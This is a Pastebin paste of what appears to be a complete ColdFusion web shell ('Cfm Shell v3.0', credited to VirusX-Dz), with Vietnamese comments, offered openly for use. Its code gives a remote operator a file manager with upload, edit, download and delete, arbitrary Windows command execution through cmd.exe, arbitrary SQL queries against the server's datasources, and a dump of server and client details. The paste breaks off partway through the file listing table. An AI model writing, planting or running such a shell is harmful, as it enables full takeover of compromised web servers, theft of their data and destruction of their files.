Advertisement
3xploit3r

Cfm_Shell By VirusX-Dz

Aug 27th, 2016
416
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <html>
  2. <style type="text/css">
  3. body{background-color:#444;color:#e1e1e1;}
  4. body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
  5. table.info{ color:#fff;background-color:#222; }
  6. span,h1,a{ color: #df5 !important; }
  7. span{ font-weight: bolder; }
  8. h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
  9. div.content{ padding: 5px;margin-left:5px;background-color:#333; }
  10. a{text-decoration: none;}
  11. a:hover{ text-decoration:underline; }
  12. .ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
  13. .bigarea{ width:100%;height:300px; }
  14. input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
  15. form{ margin:0px; }
  16. .toolsInp{ width: 300px }
  17. .main th{text-align:left;background-color:#5e5e5e;}
  18. .main tr:hover{background-color:#5e5e5e}
  19. .l1{background-color:#444}
  20. .l2{background-color:#333}
  21. pre{font-family:Courier,Monospace;}
  22. </style>
  23. <head>
  24. <TITLE>CFM SHELL V3.0 edition</TITLE>
  25. <meta http-equiv="Content-Type" content="text/html">
  26. </head>
  27. <body>
  28. <center>
  29.   Cfm Shell v3.0 edition
  30. </center>
  31. <hr>
  32. <script langauge="JavaScript" type="text/javascript">
  33. function doMenu(item)
  34. {
  35.     obj=document.getElementById(item);
  36.     col=document.getElementById("x" + item);
  37.     if (obj.style.display=="none")
  38.     {
  39.         obj.style.display="block"; col.innerHTML="[-]";
  40.     }
  41.     else
  42.     {
  43.         obj.style.display="none"; col.innerHTML="[+]";
  44.     }
  45. }
  46. </script>
  47. <!--- Login --->
  48.  
  49. <cfif IsDefined("logout")>
  50.     <cfset structclear(cookie)>
  51.     <cflocation url="?" addtoken="No">
  52. </cfif>
  53. <cfif IsDefined("cookie.username")>
  54. <!--- Main --->
  55. <center>Username:<font color="#FFFF33"><b><cfoutput>#username#</cfoutput></b></font> !</center>
  56. <center><b><a href="?logout">Logout</a></b></center>
  57. <hr>
  58. <cfoutput>
  59. <cfset dir = #GetDirectoryFromPath(GetTemplatePath())#>
  60. <cfif Right(dir, 1) neq "\" >
  61.     <cfset dir = "#dir#\">
  62. </cfif>
  63. <!--- Ham get Datasource Infor
  64. <cfscript>
  65. factory = CreateObject("java", "coldfusion.server.ServiceFactory");
  66. DataSoureceInfo = factory.DataSourceService.getDatasources();
  67. </cfscript> --->
  68.  
  69. <!--- Ham doc tep --->
  70. <cffunction name="ReadFile" access="remote" output="true" returntype="any">  
  71.     <cfargument name="fileread" type="string" required="true"/>  
  72.         <cffile action="read" file="#arguments.fileread#" variable="line">
  73.         <cfoutput>#line#</cfoutput>
  74. </cffunction>
  75. <!--- ham xoa thu muc --->
  76. <cffunction name="dirDelete" access="public" output="false" returntype="any">
  77. <cfargument name="dir" required="no" default="#expandPath('/pocket_cache/')#">
  78. <cfdirectory action="list" name="delfile" directory="#arguments.dir#">
  79. <cfif delfile.RecordCount EQ 0>
  80. <cfif directoryExists(arguments.dir)>
  81. <cfdirectory action="delete" directory="#arguments.dir#">
  82. </cfif>
  83. <cfelse>
  84. <cfloop query="delfile">
  85. <cfif type EQ "file">
  86. <cffile action="delete" file="#arguments.dir#\#name#">
  87. <cfelse>
  88. <cfset temp = dirDelete(arguments.dir & '\' & #delfile.name#)>
  89. </cfif>
  90. </cfloop>
  91. <cfif directoryExists(arguments.dir)>
  92. <cfdirectory action="delete" directory="#arguments.dir#">
  93. </cfif>
  94. </cfif>
  95. </cffunction>
  96. <!--- ham doi ten thu muc --->
  97. <cffunction name="renameDirectory" access="remote" output="false" returntype="void">  
  98.     <cfargument name="oldDir" type="string" required="true"/>  
  99.     <cfargument name="newDir" type="string" required="true"/>  
  100.     <cfdirectory action="rename" directory="#arguments.oldDir#" newdirectory="#arguments.newDir#"/>  
  101. </cffunction>
  102. </cfoutput>
  103. <!--- bat dau nhan lenh --->
  104. <cfif isDefined("action")>
  105.     <cfif action is "goto">
  106.         <cfoutput>
  107.         <cfif isDefined("scr")>
  108.             <cfset dir = #scr#>
  109.             <cfif Right(dir, 1) neq "\" >
  110.                 <cfset dir = "#dir#\">
  111.             </cfif>
  112.         </cfif>
  113.         </cfoutput>
  114.     <cfelseif action is "edit">
  115.     <cfoutput>
  116.     <cfif isDefined("scr")>
  117.         <cfif FileExists("#scr#")>
  118.             <cfset file_name=#Replace(#scr#,'#GetDirectoryFromPath(scr)#','','ALL')#>
  119.             <title>&##272;ang s&##7917;a t&##7879;p #scr#</title>
  120.             <script language="JavaScript" type="text/javascript">
  121.                 function sTrim(sVariable)
  122.                 {
  123.                     return sVariable.replace(/^\s+|\s+$/g,"");
  124.                 }
  125.                 function validateFields(form)
  126.                 {
  127.                     return true;
  128.                 }
  129.             </script>
  130.             <cffile action="read" file="#scr#" variable="thisFile">
  131.                         <h1>Edit file:</h1>
  132.                         <div class=content>
  133.                 <form action="?action=save&scr=#GetDirectoryFromPath(scr)#" method="post" onsubmit="return validateFields(this);">
  134.                 <input type="hidden" name="fileName" value="#file_name#" />
  135.                 <input type="hidden" name="action_type" value="edit" />
  136.                     <tr>
  137.                         <td style="font-weight:bold;" nowrap="nowrap">
  138.                             File path:
  139.                         </td>
  140.                         <td>
  141.                             #scr#
  142.                         </td>
  143.                     </tr>
  144.                     <tr>
  145.                         <td>
  146.                         <cfset thisFile=#Replace(#thisFile#,'<','<','ALL')#>
  147.                         <cfset thisFile=#Replace(#thisFile#,'>','>','ALL')#>
  148.                             <textarea class="bigarea" name="fileContent">#thisFile#</textarea>
  149.                         </td>
  150.                     </tr>
  151.                     <tr>
  152.                         <td>
  153.                             <input type="submit" value="Save" style="font-family:verdana; font-size:11px;" />
  154.                         </td>
  155.                     </tr>
  156.             </form></div>
  157.         <cfelse>
  158.             <p>T&##7853;p tin #scr# kh&##244;ng t&##7891;n t&##7841;i.</p>
  159.         </cfif>
  160.         <a href="?action=goto&scr=#GetDirectoryFromPath(scr)#" style="color: rgb(255, 0, 0);"><u> <- Back</u></a>
  161.     <cfelse>
  162.         <a href="javascript:history.back(1);" style="color: rgb(255, 0, 0);"><u> <- Back</u></a>
  163.     </cfif>
  164.     </cfoutput>
  165.     <cfelseif action is "cut">
  166.         <cfoutput>
  167.         <cfif isDefined("scr")>
  168.             <cfset cutdir = #scr#>
  169.             <cfif FileExists("#scr#")>
  170.                 <cfset cutdir = #RemoveChars(cutdir, len(cutdir), 1)#>
  171.                 <cfloop condition = "Right(cutdir, 1) neq '\'">
  172.                     <cfset cutdir = #RemoveChars(cutdir, len(cutdir), 1)#>
  173.                 </cfloop>
  174.                 <cfform name="articles" ENCTYPE="multipart/form-data">
  175.                     B&##7841;n s&##7869; di chuy&##7875;n t&##7879;p <font color="red">#scr#</font> t&##7899;i <cfinput type="text" name="thumucsechuyen" size="50" value="#cutdir#"> <input type="submit" value="Th&##7921;c hi&##7879;n" />
  176.                 </cfform>
  177.                 <cfif isDefined("thumucsechuyen")>
  178.                     <cffile action="move" source="#scr#" destination="#thumucsechuyen#">
  179.                     <cflocation url="?action=goto&scr=#cutdir#" addtoken="No">
  180.                 </cfif>
  181.             <cfelse>
  182.                 <p>T&##7853;p tin #scr# kh&##244;ng t&##7891;n t&##7841;i.</p>
  183.             </cfif>
  184.             <a href="?action=goto&scr=#cutdir#" style="color: rgb(255, 0, 0);"><u> <- Back</u></a>
  185.         <cfelse>
  186.             <a href="javascript:history.back(1);" style="color: rgb(255, 0, 0);"><u> <- Back</u></a>
  187.         </cfif>
  188.         </cfoutput>
  189.     <cfelseif action is "copy">
  190.         <cfoutput>
  191.         <cfif isDefined("scr")>
  192.             <cfset copydir = #scr#>
  193.             <cfif FileExists("#scr#")>
  194.                 <cfset copydir = #RemoveChars(copydir, len(copydir), 1)#>
  195.                 <cfloop condition = "Right(copydir, 1) neq '\'">
  196.                     <cfset copydir = #RemoveChars(copydir, len(copydir), 1)#>
  197.                 </cfloop>
  198.                 <cfform name="articles" ENCTYPE="multipart/form-data">
  199.                     B&##7841;n s&##7869; sao ch&##233;p t&##7879;p <font color="red">#scr#</font> t&##7899;i <cfinput type="text" name="thumucsechuyen" size="50" value="#copydir#"> <input type="submit" value="Th&##7921;c hi&##7879;n" />
  200.                 </cfform>
  201.                 <cfif isDefined("thumucsechuyen")>
  202.                     <cffile action="copy" source="#scr#" destination="#thumucsechuyen#">
  203.                     <cflocation url="?action=goto&scr=#copydir#" addtoken="No">
  204.                 </cfif>
  205.             <cfelse>
  206.                 <p>T&##7853;p tin #scr# kh&##244;ng t&##7891;n t&##7841;i.</p>
  207.             </cfif>
  208.             <a href="?action=goto&scr=#copydir#" style="color: rgb(255, 0, 0);"><u> <- Back</u></a>
  209.         <cfelse>
  210.             <a href="javascript:history.back(1);" style="color: rgb(255, 0, 0);"><u> <- Back</u></a>
  211.         </cfif>
  212.         </cfoutput>
  213.     <cfelseif action is "rename">
  214.         <cfoutput>
  215.         <cfif isDefined("scr")>
  216.             <cfset renamedir = #scr#>
  217.             <cfif FileExists("#scr#")>
  218.                 <cfloop condition = "Right(renamedir, 1) neq '\'">
  219.                     <cfset renamedir = #RemoveChars(renamedir, len(renamedir), 1)#>
  220.                 </cfloop>
  221.                 <cfform name="articles" ENCTYPE="multipart/form-data">
  222.                     Rename #renamedir#<cfinput type="text" name="namechange" size="25" value=""> <input type="submit" value="Rename" />
  223.                 </cfform>
  224.                 <cfif isDefined("namechange")>
  225.                     <cffile action="rename" source="#scr#" destination="#renamedir##namechange#">
  226.                     <cflocation url="?action=goto&scr=#renamedir#" addtoken="No">
  227.                 </cfif>
  228.             <cfelse>
  229.                 <p>T&##7853;p tin #scr# kh&##244;ng t&##7891;n t&##7841;i.</p>
  230.             </cfif>
  231.             <a href="?action=goto&scr=#renamedir#" style="color: rgb(255, 0, 0);"><u> <- Back</u></a>
  232.         <cfelse>
  233.             <a href="javascript:history.back(1);" style="color: rgb(255, 0, 0);"><u> <- Back</u></a>
  234.         </cfif>
  235.         </cfoutput>
  236.     <cfelseif action is "renamed">
  237.         <cfoutput>
  238.         <cfif isDefined("scr")>
  239.             <cfset renamedir = #scr#>
  240.             <cfset renamedir = #RemoveChars(renamedir, len(renamedir), 1)#>
  241.             <cfif DirectoryExists("#scr#")>
  242.                 <cfloop condition = "Right(renamedir, 1) neq '\'">
  243.                     <cfset renamedir = #RemoveChars(renamedir, len(renamedir), 1)#>
  244.                 </cfloop>
  245.                 <cfform name="articles" ENCTYPE="multipart/form-data">
  246.                     Rename #renamedir#<cfinput type="text" name="namechange" size="25" value=""> <input type="submit" value="Rename" />
  247.                 </cfform>
  248.                 <cfif isDefined("namechange")>
  249.                     #renameDirectory('#scr#','#renamedir##namechange#')#
  250.                     <cflocation url="?action=goto&scr=#renamedir#" addtoken="No">
  251.                 </cfif>
  252.             <cfelse>
  253.                 <p>Th&##432; m&##7909;c #scr# kh&##244;ng t&##7891;n t&##7841;i.</p>
  254.             </cfif>
  255.             <a href="?action=goto&scr=#renamedir#" style="color: rgb(255, 0, 0);"><u> <- ..</u></a>
  256.         <cfelse>
  257.             <a href="javascript:history.back(1);" style="color: rgb(255, 0, 0);"><u> <- ..</u></a>
  258.         </cfif>
  259.         </cfoutput>
  260.     <cfelseif action is "down">
  261.         <cfoutput>
  262.         <cfif isDefined("scr")>
  263.             <cfset downdir = #scr#>
  264.             <cfif FileExists("#scr#")>
  265.                 <cfloop condition = "Right(downdir, 1) neq '\'">
  266.                     <cfset downdir = #RemoveChars(downdir, len(downdir), 1)#>
  267.                 </cfloop>
  268.                 <cfheader name="Content-Disposition" value="attachment; filename=#getFileFromPath (scr)#">
  269.                 <cfcontent file="#scr#" type="application/octet-stream">
  270.             <cfelse>
  271.                 <p>T&##7853;p tin #scr# kh&##244;ng t&##7891;n t&##7841;i.</p>
  272.             </cfif>
  273.             <a href="?action=goto&scr=#downdir#" style="color: rgb(255, 0, 0);"><u> <- Back</u></a>
  274.         <cfelse>
  275.             <a href="javascript:history.back(1);" style="color: rgb(255, 0, 0);"><u> <- Back</u></a>
  276.         </cfif>
  277.         </cfoutput>
  278.     <cfelseif action is "del">
  279.         <cfoutput>
  280.         <cfif isDefined("scr")>
  281.             <cfset deletedir = #scr#>
  282.             <cfset deletedir = #RemoveChars(deletedir, len(deletedir), 1)#>
  283.             <cfif FileExists("#scr#")>
  284.                 <cfloop condition = "Right(deletedir, 1) neq '\'">
  285.                     <cfset deletedir = #RemoveChars(deletedir, len(deletedir), 1)#>
  286.                 </cfloop>
  287.                 <cffile action="delete" file="#scr#">
  288.                 <cflocation url="?action=goto&scr=#deletedir#" addtoken="No">
  289.             <cfelse>
  290.                 <p>T&##7853;p tin #scr# kh&##244;ng t&##7891;n t&##7841;i.</p>
  291.             </cfif>
  292.             <a href="?action=goto&scr=#deletedir#" style="color: rgb(255, 0, 0);"><u> <- DeleteDir</u></a>
  293.         <cfelse>
  294.             <a href="javascript:history.back(1);" style="color: rgb(255, 0, 0);"><u> <- DeleteDir</u></a>
  295.         </cfif>
  296.         </cfoutput>
  297.     <cfelseif action is "deld">
  298.         <cfoutput>
  299.         <cfif isDefined("scr")>
  300.             <cfset deletedir = #scr#>
  301.             <cfset deletedir = #RemoveChars(deletedir, len(deletedir), 1)#>
  302.             <cfif DirectoryExists("#scr#")>
  303.                 <cfloop condition = "Right(deletedir, 1) neq '\'">
  304.                     <cfset deletedir = #RemoveChars(deletedir, len(deletedir), 1)#>
  305.                 </cfloop>
  306.                 <cfset dirDelete('#scr#')>
  307.                 <cflocation url="?action=goto&scr=#deletedir#" addtoken="No">
  308.             <cfelse>
  309.                 <p>DeleteDir</p>
  310.             </cfif>
  311.             <a href="?action=goto&scr=#deletedir#" style="color: rgb(255, 0, 0);"><u> <- DeleteDir</u></a>
  312.         <cfelse>
  313.             <a href="javascript:history.back(1);" style="color: rgb(255, 0, 0);"><u> <- DeleteDir</u></a>
  314.         </cfif>
  315.         </cfoutput>
  316.     <cfelseif action is "new">
  317.         <!---
  318.         <cfoutput>
  319.         <cfif isDefined("scr")>
  320.             <cfif FileExists("#scr#")>
  321.                 <p>T&##7853;p tin #scr# &##273;&##227; t&##7891;n t&##7841;i.</p>
  322.             <cfelse>
  323.                 <cfform name="articles" ENCTYPE="multipart/form-data">
  324.                     B&##7841;n s&##7869; t&##7841;o th&##432; m&##7909;c m&##7899;i #scr#<cfinput type="text" name="namecreate" size="25" value=""> <input type="submit" value="Th&##7921;c hi&##7879;n" />
  325.                 </cfform>
  326.                 <cfif isDefined("namecreate")>
  327.                     <cffile action = "write" file = "#scr##namecreate#" output = "">
  328.                     <cflocation url="?action=goto&scr=#scr#" addtoken="No">
  329.                 </cfif>
  330.             </cfif>
  331.             <a href="?action=goto&scr=#scr#" style="color: rgb(255, 0, 0);"><u> <- Back</u></a>
  332.         <cfelse>
  333.             <a href="javascript:history.back(1);" style="color: rgb(255, 0, 0);"><u> <- Back</u></a>
  334.         </cfif>
  335.         </cfoutput>
  336.         --->
  337.         <cfoutput>
  338.         <cfif isDefined("scr")>
  339.             <cfdirectory action="list" directory="#scr#" name="fileList">
  340.             <script language="JavaScript" type="text/javascript">
  341.                 var fileArray = new Array(<cfoutput>#quotedValueList(fileList.name)#</cfoutput>);
  342.                 function sTrim(sVariable)
  343.                 {
  344.                     return sVariable.replace(/^\s+|\s+$/g,"");
  345.                 }
  346.                 function validateFields(form)
  347.                 {
  348.                     var fileCount = 0;
  349.                     var re = /.txt$|.cfm$|.cfml$|.htm|.html$/;
  350.                     if (sTrim(form.fileName.value) == "")
  351.                     {
  352.                         alert('Can nhap ten tep');
  353.                         form.fileName.focus();
  354.                         return false;
  355.                     }
  356.                     if (form.fileName.value.search(re) < 0)
  357.                     {
  358.                         alert('Khong chap nhan tep loai nay!\n\n Chi chap nhan .cfm, .cfml, .htm, .html, va .txt!');
  359.                         form.fileName.focus();
  360.                         form.fileName.select();
  361.                         return false;
  362.                     }
  363.                     for (var i=0; i<fileArray.length; i++)
  364.                     {
  365.                         if (sTrim(form.fileName.value) == fileArray[i])
  366.                         {
  367.                             fileCount++;
  368.                         }
  369.                     }
  370.                     if (fileCount > 0)
  371.                     {
  372.                         alert('Ten nay da ton tai, vui long chon tep khac');
  373.                         form.fileName.focus();
  374.                         form.fileName.select();
  375.                         return false;
  376.                     }
  377.                     return true;
  378.                 }
  379.             </script>
  380.             <form action="?action=save&scr=#scr#" method="post" onsubmit="return validateFields(this);">
  381.                 <input type="hidden" name="action_type" value="add" />
  382.                 <table border="0" style="width:400px;">
  383.                     <tr>
  384.                         <td style="font-weight:bold;" nowrap="nowrap">
  385.                             File name:  
  386.                         </td>
  387.                         <td>
  388.                             <input type="text" name="fileName" style="font-family:verdana; font-size:11px; width:316px;" />
  389.                         </td>
  390.                     </tr>
  391.                     <tr>
  392.                         <td style="font-weight:bold;" nowrap="nowrap">
  393.                             File content:  
  394.                         </td>
  395.                         <td colspan="2">
  396.                             <textarea name="fileContent" style="font-family:verdana; font-size:11px; height:250px; width:600px;"></textarea>
  397.                         </td>
  398.                     </tr>
  399.                     <tr>
  400.                         <td colspan="2" style="text-align:right;">
  401.                             <input type="submit" value="Save" style="font-family:verdana; font-size:11px;" />
  402.                         </td>
  403.                     </tr>
  404.                 </table>
  405.             </form>
  406.             <a href="?action=goto&scr=#GetDirectoryFromPath(scr)#" style="color: rgb(255, 0, 0);"><u> <- Back</u></a>
  407.         <cfelse>
  408.             <a href="javascript:history.back(1);" style="color: rgb(255, 0, 0);"><u> <- Back</u></a>
  409.         </cfif>
  410.         </cfoutput>
  411.     <cfelseif action is "newd">
  412.         <cfoutput>
  413.         <cfif isDefined("scr")>
  414.             <cfform name="articles" ENCTYPE="multipart/form-data">
  415.                 New dir: <cfinput type="text" name="namecreate" size="25" value="#GetDirectoryFromPath(scr)#"> <input type="submit" value="Create new dir" />
  416.             </cfform>
  417.             <cfif isDefined("namecreate")>
  418.                 <cfdirectory directory= "#scr##namecreate#" action="create">
  419.                 <cflocation url="?action=goto&scr=#scr#" addtoken="No">
  420.             </cfif>
  421.             <a href="?action=goto&scr=#scr#" style="color: rgb(255, 0, 0);"><u> <- Back</u></a>
  422.         <cfelse>
  423.             <a href="javascript:history.back(1);" style="color: rgb(255, 0, 0);"><u> <- Back</u></a>
  424.         </cfif>
  425.         </cfoutput>
  426.     <cfelseif action is "upload">
  427.         <cfoutput>
  428.         <cfif isDefined("scr")>
  429.             <cfform enctype="multipart/form-data" method="post">
  430.                 Upload file to path:  <font color="red">#scr#</font><br>
  431.                 Choose file: <input type="file" size="80" name="fileup" /> <input type="submit" value="Upload" /><br/>
  432.             </cfform>
  433.             <cfif isDefined("fileup")>
  434.                 <cffile action="upload" fileField="fileup" destination="#scr#" nameconflict="overwrite">
  435.                 <cflocation url="?action=goto&scr=#scr#" addtoken="No">
  436.             </cfif>
  437.             <a href="?action=goto&scr=#scr#" style="color: rgb(255, 0, 0);"><u> <- Back</u></a>
  438.         <cfelse>
  439.             <a href="javascript:history.back(1);" style="color: rgb(255, 0, 0);"><u> <- Back</u></a>
  440.         </cfif>
  441.         </cfoutput>
  442.     <cfelseif action is "cmd">
  443.         <cfoutput>
  444.         <cfif not isDefined("patch")>
  445.             <cfif FileExists("#GetDirectoryFromPath(GetTemplatePath())#cdm.exe")>
  446.                 <cfset patch = "#GetDirectoryFromPath(GetTemplatePath())#cmd.exe">
  447.                 <cfset out = "#GetDirectoryFromPath(GetTemplatePath())#out.txt">
  448.             <cfelseif FileExists("C:\windows\system32\cmd.exe")>
  449.                 <cfset patch = "C:\windows\system32\cmd.exe">
  450.                 <cfset out = "C:\windows\system32\out.txt">
  451.             <cfelseif FileExists("C:\winnp\system32\cmd.exe")>
  452.                 <cfset patch = "C:\winnp\system32\cmd.exe">
  453.                 <cfset out = "C:\winnp\system32\out.txt">
  454.             <cfelse>
  455.                 <p>Kh&##244;ng t&##236;m th&##7845;y t&##7879;p cmd.exe</p>
  456.                 <p>Khai b&##225;o bi&##7871;n patch l&##224; &##273;&##432;&##7901;ng d&##7851;n tr&##7921;c ti&##7871;p t&##7899;i t&##7879;p cmd.exe</p>
  457.                 <p>Khai b&##225;o bi&##7871;n out l&##224; &##273;&##432;&##7901;ng d&##7851;n tr&##7921;c ti&##7871;p t&##7899;i t&##7879;p d&##7919; li&##7879;u</p>
  458.                 <cfset sai = 1>
  459.             </cfif>
  460.         <cfelseif FileExists("#patch#")>
  461.             <cfset out = "#GetDirectoryFromPath(patch)#out.txt">
  462.         <cfelse>
  463.             <p>Kh&##244;ng t&##236;m th&##7845;y t&##7879;p cmd.exe</p>
  464.         </cfif>
  465.         <cfif not isDefined("sai")>
  466.             <cfform name="articles" ENCTYPE="multipart/form-data">
  467.                 Enter command: <cfinput type="text" name="command" size="25" value=""> <input type="submit" value="Run" />
  468.             </cfform>
  469.             <cfif isDefined("command")>
  470.                 <p>Results:</p>
  471.                 <cfexecute name="#patch#" arguments="/C #command# > #out#" timeout="60"></cfexecute>
  472.                 #ReadFile('#out#')#
  473.                 #out#
  474.                 <cfif FileExists("#out#")>
  475.                     <cffile action="delete" file="#out#">
  476.                 </cfif>
  477.             </cfif>
  478.         </cfif>
  479.         <br>
  480.         <a href="?action=goto&scr=#GetDirectoryFromPath(GetTemplatePath())#" style="color: rgb(255, 0, 0);"><u> <- Back</u></a>
  481.         </cfoutput>
  482.     <cfelseif action is "datainfo">
  483.         <cfoutput>
  484.         <cfdump var="#DataSoureceInfo#">
  485.         <a href="?action=goto&scr=#GetDirectoryFromPath(GetTemplatePath())#" style="color: rgb(255, 0, 0);"><u> <- Back</u></a>
  486.         </cfoutput>
  487.     <cfelseif action is "save">
  488.         <cfoutput>
  489.         <cfif isDefined("form.fileName")>
  490.             <title>&##272;&##227; l&##432;u t&##7879;p</title>
  491.             <cffile action="write" file="#scr#\#form.fileName#" output="#form.fileContent#" addnewline="no">
  492.             &##272;&##227; <cfif form.action_type IS "edit">s&##7917;a<cfelse>t&##7841;o</cfif> th&##224;nh c&##244;ng t&##7879;p <span style="font-weight:bold;">#form.fileName#</span>.<br>
  493.             <a href="?action=goto&scr=#scr#" style="color: rgb(255, 0, 0);"><u> <- Back</u></a>
  494.         <cfelse>
  495.             <a href="javascript:history.back(1);" style="color: rgb(255, 0, 0);"><u> <- Back</u></a>
  496.         </cfif>
  497.         </cfoutput>
  498.     <cfelseif action is "sql">
  499.                 <cfoutput>
  500.         <cfform name="articles1" ENCTYPE="multipart/form-data">
  501.             DataBase Name:
  502.             <cfif isDefined("database")>
  503.                 <cfinput type="text" name="database" size="25" value="#database#"><br>
  504.             <cfelseif IsDefined("DS")>
  505.                 <cfinput type="text" name="database" size="25" value="#DS#"><br>
  506.             <cfelse>
  507.                 <cfinput type="text" name="database" size="25" value=""><br>
  508.             </cfif>
  509.             SQL query: <cfinput type="text" query="SQL" name="query" size="130" value=""><br>
  510.             <input type="submit" value="Th&##7921;c hi&##7879;n" />
  511.         </cfform>
  512.         </cfoutput>
  513.         <cfif isDefined("database") and isDefined("query")>
  514.             <cfquery name="SQL" DataSource="#database#">
  515.                 #preserveSingleQuotes(query)#
  516.             </cfquery>
  517.             <br>
  518.             <table width="90%" border="1" align="center">
  519.                 <tr><td align="center">M?u h?i: <font color="red"><cfoutput>#query#</cfoutput></font></td></tr>
  520.                 <tr><td align="center">K?t qu? tr? v?:</td></tr>
  521.                 <tr><td><cfdump var="#SQL#" format="text" label="Ket qua"></td></tr>
  522.             </table>
  523.             <br>
  524.         </cfif>
  525.         <cfoutput>
  526.         <a href="?action=goto&scr=#scr#" style="color: rgb(255, 0, 0);"><u> <- Back</u></a>
  527.         </cfoutput>
  528.     </cfif>
  529. <cfelse>
  530.     <cfset action = "goto">
  531. </cfif>
  532. <cfif action is "goto" or action is "del" or action is "deld">
  533. <cfoutput>
  534.     <center><a href="javascript:doMenu('thongtin');" id=xthongtin>[-]</a>Server info:</center>
  535.     <div id="thongtin">
  536.     <!--- Lay thong tin ip --->
  537.         <cfif #cgi.http_x_forwarded_for# eq "">
  538.             <cfset clientip="#cgi.remote_addr#">
  539.         <cfelse>
  540.             <cfset clientip="#cgi.http_x_forwarded_for#">
  541.         </cfif>
  542.     <!--- In thong tin server --->
  543.         <span>Server IP:</span> #CGI.HTTP_HOST#:#CGI.SERVER_PORT#</span> - <span>Client IP:</span> #clientip#<br>
  544.         <span>Gateway Interface:</span> #CGI.GATEWAY_INTERFACE# - <span>Server Name:</span> #CGI.SERVER_NAME#:#CGI.SERVER_PORT#<br>
  545.         <span>Server Protocol:</span> #CGI.SERVER_PROTOCOL# - <span>Server Software:</span> #CGI.SERVER_SOFTWARE#<br>
  546.         <span>Appserver:</span> #server.coldfusion.appserver# - <span>Expiration:</span> #DateFormat(server.coldfusion.expiration, "d/m/yy")# #TimeFormat(server.coldfusion.expiration, "HH:mm:ss")#<br>
  547.             <span>Product Name:</span> #server.coldfusion.productname# - <span>Product Level:</span> #server.coldfusion.productlevel# - <span>Product Version:</span> #server.coldfusion.productversion#<br>
  548.             <span>Server OS Arch:</span> #server.os.arch# - <span>Server OS Name:</span> #server.os.name# - <span>Server OS Version:</span> #server.os.version#<br>
  549.     </div>
  550. <hr>
  551.     <!--- Thu tao Object
  552.         <cftry>
  553.             <cfobject type="com" class="scripting.filesystemobject" name="fso" action="connect">  
  554.             <cfcatch type="any">  
  555.                 <cfobject type="com" class="scripting.filesystemobject" name="fso" action="create">  
  556.             </cfcatch>  
  557.         </cftry>
  558.     --->       
  559.    
  560. <hr>
  561. <center><a href="javascript:doMenu('congcu');" id=xcongcu>[-]</a>Main:</center>
  562. <div id="congcu">
  563.     Path: #dir#<br>
  564.     Operations: <a href="?action=new&scr=#dir#">NewFile</a> - <a href="?action=newd&scr=#dir#">NewDir</a> - <a href="?action=upload&scr=#dir#" title="T&##7843;i l&##234;n m&##7897;t t&##7879;p t&##7915; m&##225;y t&##237;nh c&##7911;a b&##7841;n">Upload file</a> - <a href="?" title="Tr&##7903; v&##7873; th&##432; m&##7909;c ch&##7913;a Shell">---</a><br>
  565.     Actions: <a href="?action=cmd" title="Th&##7921;c thi l&##7879;nh Command Dos">CMD</a> - <a href="?action=sql&scr=#dir#" title="Th&##7921;c thi l&##7879;nh SQL query">SQL</a> - <a href="?action=datainfo" title="Th&##244;ng tin C&##417; S&##7903; D&##7919; Li&##7879;u">Datainfo CSDL</a>
  566. </div>
  567. <hr>
  568. <h1>File manager:</h1>
  569. <div id="thumuc">
  570. </cfoutput>
  571. <cfdirectory directory="#dir#" name="myDirectory" sort="type ASC" >
  572. <div class=content>
  573. <table width=100% class=main cellspacing=0 cellpadding=1><tr><th width='13px'><input type=checkbox class=chkbx name=ch11'></th><th>Name</th><th>Size</th><th>Modify</th><th>Chmod</th><th>Mode</th><th>Actions</th></tr>
  574.         <cfoutput>
  575.         <cfif len(dir) gt 3>
  576.             <tr>
  577.                 <cfset updir = #dir#>
  578.                 <cfset updir = #RemoveChars(updir, len(updir), 1)#>
  579.                 <cfloop condition = "Right(updir, 1) neq '\'">
  580.                     <cfset updir = #RemoveChars(updir, len(updir), 1)#>
  581.                 </cfloop>
  582.                 <th class=chkbx><input type=checkbox width='13px' class=chkbx></th><td width="20%"><strong><a href="?action=goto&scr=#updir#">..</a></strong></td>
  583.             </tr>
  584.         </cfif>
  585.         </cfoutput>
  586.                 <cfset x=1>
  587.         <cfoutput query="myDirectory">
  588.                      <cfif x EQ 2>
  589.             <tr class=l2><th class=chkbx width='13px'><input type=checkbox class=chkbx></th>
  590.                     </cfif>
  591.                    <cfif x EQ 1>  
  592.             <tr class=l1><th class=chkbx width='13px'><input type=checkbox class=chkbx></th>
  593.                     </cfif>
  594.                    <cfif x EQ 1>  
  595.                         <cfset x=2>
  596.                    <cfelse>
  597.                         <cfset x=1>
  598.                    </cfif>
  599.                 <td>
  600.                     <cfif #Type# is "Dir">
  601.                         <a href="?action=goto&scr=#dir##Name#\"><b>[#Name#]</b></a>
  602.                     <cfelse>
  603.                                                 <a href="?action=edit&scr=#dir##Name#\">#Name#</a>
  604.                     </cfif>
  605.                 </td>
  606.                 <td>
  607.                     <cfif #type# is "Dir">
  608.                         <Dir>
  609.                     <cfelseif #Size# LT 1024>
  610.                             #Size# B
  611.                     <cfelseif #Size# LT 1024*1024>
  612.                             #round(Size/1024)# KB
  613.                     <cfelseif #Size# LT 1024*1024*1024>
  614.                             #round(Size/1024/1024)# MB
  615.                     <cfelseif #Size# LT 1024*1024*1024*1024>
  616.                             #round(Size/1024/1024/1024)# GB
  617.                     <cfelseif #Size# LT 1024*1024*1024*1024*1024>
  618.                             #round(Size/1024/1024/1024/1024)# TB
  619.                     </cfif>
  620.                 </td>
  621.                 <td>
  622.                     #DateFormat(DateLastModified, "d/m/yy")# #TimeFormat(DateLastModified, "HH:mm:ss")#
  623.                 </td>
  624.                 <td>#Attributes#</td>
  625.                 <td>#Mode#</td>
  626.                 <td>
  627.                     <cfif #Type# is "File">
  628.                         <a href="?action=edit&scr=#dir##Name#">Edit</a>|<a href="?action=cut&scr=#dir##Name#">Cut</a>|<a href="?action=copy&scr=#dir##Name#">Copy</a>|<a href="?action=rename&scr=#dir##Name#">Rename</a>|<a href="?action=down&scr=#dir##Name#">Download</a>|<a href="?action=del&scr=#dir##Name#" onCLick="return confirm('Delete #Name# ?')">Delete</a>
  629.                     <cfelse>
